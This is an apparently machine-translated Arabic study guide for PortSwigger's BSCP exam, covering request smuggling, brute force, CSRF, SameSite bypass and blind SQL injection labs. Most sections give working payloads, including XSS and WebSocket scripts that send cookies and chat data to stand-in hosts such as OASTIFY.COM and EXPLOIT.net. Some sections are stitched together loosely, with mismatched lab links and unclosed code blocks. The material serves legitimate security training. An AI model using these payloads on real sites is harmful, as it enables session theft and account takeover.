![استغلال تهريب طلبات HTTP لالتقاط طلبات المستخدمين الآخرين](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[مختبر PortSwigger: استغلال تهريب طلبات HTTP لالتقاط طلبات المستخدمين الآخرين](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - سارق كوكيز User-Agent  
  
>***حدد*** قيمة UserAgent المخزنة في طلب GET الذي يُحمِّل نموذج تعليق المدونة، وكذلك المخزنة في القيمة المخفية **User-Agent**. استغلال تهريب طلبات HTTP لتسليم XSS منعكسة باستخدام قيمة **User-Agent** التي يتم وضعها بعد ذلك في طلب مُهرَّب.  

>حمولة Cross Site Scripting أساسية تهرب خارج مستند HTML.```JavaScript
 "/><script>alert(1)</script>

>قم بتهريب طلب XSS هذا إلى الخادم الخلفي، بحيث يستغل الزائر التالي. ضع أداة سرقة الكوكيز عبر XSS في ترويسة **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

![تهريب HTTP/2 عبر حقن CRLF](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[مختبر PortSwigger: تهريب طلبات HTTP/2 عبر حقن CRLF](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[عرض يوتيوب: تهريب طلبات HTTP/2 عبر حقن CRLF](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>الهدف معرّض لتهريب الطلبات لأن الخادم الأمامي يخفّض طلبات HTTP/2 حتى عندما يكون طولها غامضًا. اسرق ملف تعريف ارتباط الجلسة الخاص بالمسؤول الذي يزور الهدف. سيحدد امتداد Burp، **HTTP Request Smuggler**، الثغرة ***على أنها*** ثغرة HTTP/2 TE desync v10a (H2.TE).  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>ملاحظة: بدّل إلى **HTTP/2** في سمات الطلب في Inspector، وفعّل خيار **Allow HTTP/2 ALPN override** في قائمة Repeater.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[مختبر PortSwigger: تسميم قائمة انتظار الاستجابة عبر تهريب طلبات H2.TE](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## القوة الغاشمة  

[البقاء مسجلاً](#stay-logged-in)  
[اختراق البقاء مسجلاً دون اتصال](#stay-logged-in-offline-crack)  
[تسجيل دخول محمي ضد القوة الغاشمة](#brute-force-protected-login)  
[تسجيل دخول غير صالح بمهارة](#subtly-invalid-login)  

### البقاء مسجلاً  

>خيار تسجيل الدخول مع مربع اختيار البقاء مسجلاً يؤدي إلى قيمة Cookie تحتوي على كلمة مرور المستخدم المسجل، وهو عرضة لهجوم القوة الغاشمة.  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>خطوات الاستغلال أدناه بالإضافة إلى قواعد معالجة حمولة Intruder بالترتيب، بما في ذلك خيار GREP بالتسلسل قبل بدء الهجوم.  
  
1. سجّل الخروج من حساب المستخدم الحالي.  
2. أرسل أحدث طلب GET /my-account إلى Burp Intruder.  
3. حدد الكوكي: ```stay-logged-in``` كموضع للحقن.  
4. التجزئة: ```MD5```  
5. أضف البادئة: ```carlos:```  
6. الترميز: ```Base64-encode```  
7. أضف **GREP** ضمن علامة التبويب إعدادات للتحقق من السلسلة ```Update email``` في الاستجابة، مما يشير إلى نجاح تسجيل الدخول في الهجوم.  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[مختبر PortSwigger: تخمين كوكي البقاء مسجلاً](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### اختراق البقاء مسجلاً دون اتصال  
  
>دالة التعليقات في تطبيق المدونة عرضة لـ [XSS المخزّنة](#stored-xss)، استخدم الحمولة أدناه في تعليق المدونة لإرسال كوكي جلسة Carlos إلى خادم الاستغلال.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>كرر هجوم **Pitchfork** أعلاه على حقل كلمة المرور ثم ***حدد*** كلمة المرور الصالحة من عمود الحالة بنتيجة 302.  

[مختبر PortSwigger: تعداد اسم المستخدم عبر توقيت الاستجابة](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  

### تسجيل دخول غير صالح بشكل خفي  

>***حدد*** أن صفحة تسجيل الدخول وإعادة تعيين كلمة المرور غير محمية ضد هجوم القوة الغاشمة، ولا يوجد حظر لعنوان IP أو انتهاء مهلة مفروض لأسماء المستخدمين أو كلمات المرور غير الصالحة.  

>نصيحة لامتحان BSCP، يوجد أحيانًا مستخدم آخر بكلمة مرور ضعيفة يمكن تخمينها بالقوة الغاشمة. كارلوس ليس دائمًا الحساب المستهدف لمنح وصول أولي في المرحلة 1.  

![تسجيل دخول غير صالح بشكل خفي](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>لاحظ في عمود هجوم Intruder لقيمة GREP، ```Invalid username or password.``` أن رسالة الاستجابة الواحدة لهجوم اسم مستخدم فاشل لا تحتوي على نقطة في النهاية. كرر الهجوم باستخدام اسم المستخدم ***المحدد***، واهجم على حقل كلمة المرور بهجوم **Sniper** لتحديد ```302``` للاستجابة لتسجيل الدخول الصالح.  

![تحديث كلمة المرور](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>في امتحان BSCP ***انتبه*** للرسائل الأخرى التي يتم إرجاعها وتكون مختلفة وتكشف عن حسابات صالحة على التطبيق وتسمح بتحديد كلمات مرور الحسابات بالقوة الغاشمة، مثل المثال في وظيفة [إعادة تعيين كلمة المرور](#refresh-password-broken-logic).  

>بمجرد تحديد اسم مستخدم صالح من رسالة استجابة مختلفة، قم بتنفيذ [هجوم القوة الغاشمة](#brute-force) باستخدام Burp Intruder على كلمة المرور.  

[مختبر PortSwigger: تعداد اسم المستخدم عبر استجابات مختلفة بشكل خفي](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>سيناريو آخر لتحديد اسم مستخدم صالح على تطبيق الويب هو توفير قائمة بأسماء المستخدمين عند تسجيل الدخول وقيمة كلمة مرور واحدة غير صالحة. وستحتوي إحدى نتائج هجوم Intruder على رسالة `Incorrect password`.  
>موضع حقن هجوم Intruder، `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[مختبر PortSwigger: تعداد اسم المستخدم عبر استجابات مختلفة](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  

-----

## المصادقة  

[تسجيل الحساب](#account-registration)  
[تجاوز رمز المصادقة عبر ماكرو](#auth-token-bypass-macro)  

### تسجيل الحساب  

>خلل في منطق الأعمال في ميزة تسجيل الحساب يسمح بالحصول على وصول أولي بدور المستخدم المستهدف. [اكتشاف المحتوى](#content-discovery) يجد المسار ```/admin```، وتشير الرسالة إلى أن واجهة المشرف متاحة فقط عند تسجيل الدخول كمستخدم **DontWannaCry**.  

![خلل طول التسجيل](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>إنشاء بريد إلكتروني بأكثر من 200 حرف قبل رمز ```@``` يتم اقتطاعه بعد ذلك إلى 255 حرفًا. وهذا ***يحدد*** الثغرة في **خلل** منطق صفحة تسجيل الحساب. في البريد الإلكتروني أدناه، حرف ```m``` في نهاية ```@dontwannacry.com``` هو الحرف 255 بالضبط.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

[مختبر PortSwigger: الربط القسري لملف OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  

### التحقق من Referer في CSRF  

>***حدد*** أن وظيفة تغيير البريد الإلكتروني معرضة لـ CSRF من خلال ملاحظة أنه عند تغيير قيمة ترويسة **Referer**، يعطي الرد رسالة، `Invalid referer header`، ويتم قبول تغيير البريد الإلكتروني عندما تحتوي قيمة المُحيل على النطاق المستهدف المتوقع في مكان ما في القيمة.  

![تحديد فحص ترويسة Referer لـ CSRF](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>إضافة النطاق الأصلي للهدف وإلحاق `history.pushState('', '', '/?TARGET.net');` بـ **ترويسة Referer** في شكل سلسلة استعلام، يسمح بتحديث البريد الإلكتروني.```html
Referrer-Policy: unsafe-url

> قم بإنشاء CSRF POC، وفعّل خيار تضمين سكربت **الإرسال التلقائي**، ثم انقر على **إعادة التوليد**. أزل كتلة سكربت **الإرسال التلقائي** وأضف ما يلي بدلاً منها، وضع سكربت ```history.pushState``` أسفل ترويسة body. سيقوم **onerror** في وسم IMG SRC بدلاً من ذلك بإرسال CSRF POC.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

![CSRF privesc](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  
  
### CSRF بدون دفاعات  

>الهدف الذي لا يملك دفاعات ضد وظيفة تغيير البريد الإلكتروني قد يسمح بتصعيد الامتيازات إلى دور المدير. في الاختبار، تغيير البريد الإلكتروني إلى عنوان `[email protected]` على خادم الاستغلال يمكن أن يسمح للمهاجم بتغيير كلمة مرور المستخدم المدير، مما يؤدي إلى تصعيد الامتيازات.  
>في الاختبار يوجد مستخدم نشط ***واحد*** فقط، وإذا تم إكمال المرحلة السابقة باستخدام هجوم لا يتطلب إجبار المستخدم النشط على النقر على رابط عبر تنفيذ تسميم ذاكرة التخزين المؤقت أو تنفيذ هجوم تصيد عبر وظيفة `Deliver to Victim`، فيمكن استخدام استغلال تغيير CSRF.  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[PortSwigger Lab: ثغرة CSRF بدون دفاعات](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### تجاوز SameSite الصارم  

>في وظيفة الدردشة المباشرة، نلاحظ أن طلب `GET /chat HTTP/2` لا يستخدم أي رموز غير قابلة للتنبؤ، وهذا يمكن أن ***يحدد*** ثغرة محتملة في [اختراق WebSocket عبر المواقع](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) إذا كان من الممكن تجاوز قيد ملفات تعريف الارتباط [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).  

>استضف على خادم الاستغلال حمولة POC لتحديد ***ثغرة CSWSH***.```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>تجاوز قيود SameSite عن طريق ترميز URL للسكربت أدناه بالكامل واستخدامه كمدخل إلى النطاق الفرعي CDN الخاص بتسجيل دخول اسم المستخدم `cms-`، المستضاف على خادم الاستغلال.```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>يحتوي سجل الدردشة على كلمة مرور الضحية.

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### تجاوز SameSite Lax  

>لاحظ أنه إذا قمت بزيارة `/social-login`، فسيؤدي ذلك تلقائيًا إلى بدء تدفق OAuth الكامل. إذا كان لا يزال لديك جلسة مسجلة الدخول مع خادم OAuth، فسيحدث كل هذا دون أي تفاعل.، وفي سجل الوكيل، لاحظ أنه في كل مرة تكمل فيها تدفق OAuth، يضع الموقع الهدف ملف تعريف ارتباط جلسة جديدًا حتى لو كنت مسجلاً الدخول بالفعل.  

>قم بتجاوز مانع النوافذ المنبثقة، لحث الضحية على النقر على الصفحة، ولا تُفتح النافذة المنبثقة إلا بعد أن تنقر الضحية، باستخدام JavaScript التالي. يقوم كود JavaScript الخاص بالاستغلال أولاً بتحديث جلسة الضحية عن طريق إجبار متصفحها على زيارة `/social-login`، ثم يرسل طلب تغيير البريد الإلكتروني بعد توقف قصير. سلّم الاستغلال إلى الضحية.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

>[مُرمَّز بعنوان URL](https://www.urlencoder.org/) حمولة `PostgreSQL`.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>باستخدام هجوم CLUSTER Bomb لإعادة تشغيل الهجوم لكل تباديل مواضع الأحرف في كلمة المرور، ولتحديد قيمة الحرف.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--